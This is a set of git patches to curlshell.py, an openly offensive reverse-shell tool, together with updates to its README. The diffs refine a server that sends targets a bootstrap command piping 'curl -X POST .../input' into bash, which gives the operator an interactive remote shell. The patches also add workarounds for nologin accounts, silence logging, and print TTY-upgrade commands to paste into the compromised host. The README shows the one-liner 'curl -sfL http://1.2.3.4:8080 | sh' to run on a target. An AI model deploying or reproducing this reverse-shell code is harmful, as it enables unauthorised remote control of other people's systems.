Sep 17 00:00:00 2001 From: SkyperTHC Date: Sat, 7 Oct 2023 18:05:45 +0100 Subject: [PATCH 28/32] nologin workaround --- curlshell.py | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) diff --git a/curlshell.py b/curlshell.py index 9b413f6..0b48056 100755 --- a/curlshell.py +++ b/curlshell.py @@ -89,24 +89,28 @@ def locker(c, d, should_exit): v = lockdata[k] s += v if s <= 0: - eprint("Exiting") os._exit(0) finally: lock.release() class ConDispHTTPRequestHandler(BaseHTTPRequestHandler): + # Suppress logging + def log_message(*args): + pass + # this is receiving the output of the bash process on the remote end and prints it to the local terminal def do_PUT(self): self.server.should_exit = False - w = self.path[1:] - d = getattr(sys, w) + d = getattr(sys, "stdout") if not d: raise Exception("Invalid request") - locker(w, 1, not self.server.args.serve_forever) - eprint(w, "stream connected") - eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\x1b[0m') - eprint('\x1b[0;36mcommand -v script >/dev/null && exec script -qc "/usr/bin/env bash -il" /dev/null\x1b[0m') + locker("stdout", 1, not self.server.args.serve_forever) + eprint("\x1b[1;32mReverse shell connected.\x1b[0m") + eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following:\x1b[0m') + # Fix if SHELL=/usr/sbin/nologin or /bin/false or /bin/false or "" or invalid shell: + eprint('\x1b[0;36mSHELL=$(${SHELL:-false} -c "echo $SHELL") || unset SHELL; SHELL=${SHELL:-$(bash -c "echo bash" || ash -c "echo ash")}\x1b[0m') + eprint('\x1b[0;36mcommand -v script >/dev/null && ${SHELL:-bash} -c : && exec script -qc "/usr/bin/env ${SHELL:-bash} -il" /dev/null\x1b[0m') eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m') eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m") eprint("\x1b[0;36mreset\x1b[0m") @@ -121,13 +125,14 @@ def do_PUT(self): d.buffer.flush() # chunk trailer sr.readline() - eprint(w, "stream closed") + # eprint(w, "stream closed") + eprint("--> \x1b[1;37mJoin us on Telegram - https://t.me/thcorg\x1b[0m") self.server.should_exit = True - locker(w, -1, not self.server.args.serve_forever) + locker("stdout", -1, not self.server.args.serve_forever) # this is feeding the bash process on the remote end with input typed in the local terminal def do_POST(self): - eprint("stdin stream connected") + # eprint("stdin stream connected") self.send_response(200) self.send_header('Content-Type', "application/binary") self.send_header('Transfer-Encoding', 'chunked') @@ -150,12 +155,12 @@ def do_POST(self): else: self._send_chunk(line) self._send_chunk("") - eprint("stdin stream closed") + # eprint("stdin stream closed") locker("stdin", -1, not self.server.args.serve_forever) def do_GET(self): - eprint("cmd request received from", self.headers.get('X-Forwarded-For') or self.client_address) + eprint("Request received from", self.headers.get('X-Forwarded-For') or self.client_address) schema = self.headers['X-Forwarded-Proto'] if not schema: schema = "https" if self.server.args.certificate else "http" @@ -163,7 +168,7 @@ def do_GET(self): if self.server.args.x: proxy = "-x " + self.server.args.x # Note: ash/busybox's 'sh -il' will fail with SIGTTIN if not connected to a PTY. - shell = self.server.args.shell or "{ command -v bash >/dev/null && { /usr/bin/env bash -il; true;} || /usr/bin/env sh;}" + shell = self.server.args.shell or "{ command -v bash >/dev/null && exec /usr/bin/env bash -il || exec /usr/bin/env sh;}" host = self.headers["Host"] cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input" cmd+= f" | {shell} 2>&1" @@ -176,7 +181,7 @@ def do_GET(self): self.end_headers() self._send_chunk(cmd) self._send_chunk("") - eprint("bootstrapping command sent") + # eprint("bootstrapping command sent") def _send_chunk(self, data): if type(data) == str: From 69f9eb4623a0ade1e2ba43f9672c32e7bc1cac6d Mon Sep 17 00:00:00 2001 From: SkyperTHC Date: Sat, 7 Oct 2023 21:23:36 +0100 Subject: [PATCH 29/32] nologin workaround --- curlshell.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/curlshell.py b/curlshell.py index 0b48056..ede9b4b 100755 --- a/curlshell.py +++ b/curlshell.py @@ -109,7 +109,9 @@ def do_PUT(self): eprint("\x1b[1;32mReverse shell connected.\x1b[0m") eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following:\x1b[0m') # Fix if SHELL=/usr/sbin/nologin or /bin/false or /bin/false or "" or invalid shell: - eprint('\x1b[0;36mSHELL=$(${SHELL:-false} -c "echo $SHELL") || unset SHELL; SHELL=${SHELL:-$(bash -c "echo bash" || ash -c "echo ash")}\x1b[0m') + eprint('\x1b[0;36mSHELL=$(${SHELL:-false} -c "echo $SHELL") || unset SHELL') + eprint('SHELL=${SHELL:-$(bash -c "echo bash" || ash -c "echo ash")}\x1b[0m') + # ash's 'exec' will terminate even if target does not exist. Must check that script exists. eprint('\x1b[0;36mcommand -v script >/dev/null && ${SHELL:-bash} -c : && exec script -qc "/usr/bin/env ${SHELL:-bash} -il" /dev/null\x1b[0m') eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m') eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m") @@ -168,7 +170,7 @@ def do_GET(self): if self.server.args.x: proxy = "-x " + self.server.args.x # Note: ash/busybox's 'sh -il' will fail with SIGTTIN if not connected to a PTY. - shell = self.server.args.shell or "{ command -v bash >/dev/null && exec /usr/bin/env bash -il || exec /usr/bin/env sh;}" + shell = self.server.args.shell or "{ cd ~/ || cd /; command -v bash >/dev/null && exec /usr/bin/env bash -il || exec /usr/bin/env sh;}" host = self.headers["Host"] cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input" cmd+= f" | {shell} 2>&1" From 0da1aa354bd7bb64563d3117380e7894fc85b38b Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Fri, 27 Oct 2023 18:19:12 +0100 Subject: [PATCH 30/32] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 7b326c8..e23d941 100644 --- a/README.md +++ b/README.md @@ -72,3 +72,5 @@ This command starts two cURL processes and connects another shell's input and ou --- More at https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet. + +Join us on Telegram: https://t.me/thcorg \ No newline at end of file From 71db049a6c1bd4415d74a7fc390ff2b803e3f323 Mon Sep 17 00:00:00 2001 From: Root THC Date: Sat, 20 Apr 2024 16:22:54 +0100 Subject: [PATCH 31/32] /usr/bin/env not always available --- curlshell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/curlshell.py b/curlshell.py index ede9b4b..6286704 100755 --- a/curlshell.py +++ b/curlshell.py @@ -112,7 +112,7 @@ def do_PUT(self): eprint('\x1b[0;36mSHELL=$(${SHELL:-false} -c "echo $SHELL") || unset SHELL') eprint('SHELL=${SHELL:-$(bash -c "echo bash" || ash -c "echo ash")}\x1b[0m') # ash's 'exec' will terminate even if target does not exist. Must check that script exists. - eprint('\x1b[0;36mcommand -v script >/dev/null && ${SHELL:-bash} -c : && exec script -qc "/usr/bin/env ${SHELL:-bash} -il" /dev/null\x1b[0m') + eprint('\x1b[0;36mcommand -v script >/dev/null && ${SHELL:-bash} -c : && exec script -qc "${SHELL:-bash} -il" /dev/null\x1b[0m') eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m') eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m") eprint("\x1b[0;36mreset\x1b[0m") @@ -170,7 +170,7 @@ def do_GET(self): if self.server.args.x: proxy = "-x " + self.server.args.x # Note: ash/busybox's 'sh -il' will fail with SIGTTIN if not connected to a PTY. - shell = self.server.args.shell or "{ cd ~/ || cd /; command -v bash >/dev/null && exec /usr/bin/env bash -il || exec /usr/bin/env sh;}" + shell = self.server.args.shell or "{ cd ~/ || cd /; command -v bash >/dev/null && exec bash -il || exec /bin/sh;}" host = self.headers["Host"] cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input" cmd+= f" | {shell} 2>&1" From ed819e7bfa17c994026fa83ce6690d70e3857dc5 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sat, 22 Feb 2025 09:24:25 +0000 Subject: [PATCH 32/32] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index e23d941..1dd68f2 100644 --- a/README.md +++ b/README.md @@ -50,8 +50,8 @@ curl -sfL http://1.2.3.4:8080 | sh # Advanced Tricks **Trick #1 - Spawn a TTY shell** ```sh -stty intr undef ; -./curlshell.py --shell "script -qc '/bin/bash -il' /dev/null" --listen-port 8080 ; stty intr ^C +stty intr undef susp undef; +./curlshell.py --shell "script -qc '/bin/bash -il' /dev/null" --listen-port 8080 ; stty intr ^C susp ^Z ``` **Trick #2 - Start the reverse shell as a daemon / background process** @@ -73,4 +73,4 @@ This command starts two cURL processes and connects another shell's input and ou --- More at https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet. -Join us on Telegram: https://t.me/thcorg \ No newline at end of file +Join us on Telegram: https://t.me/thcorg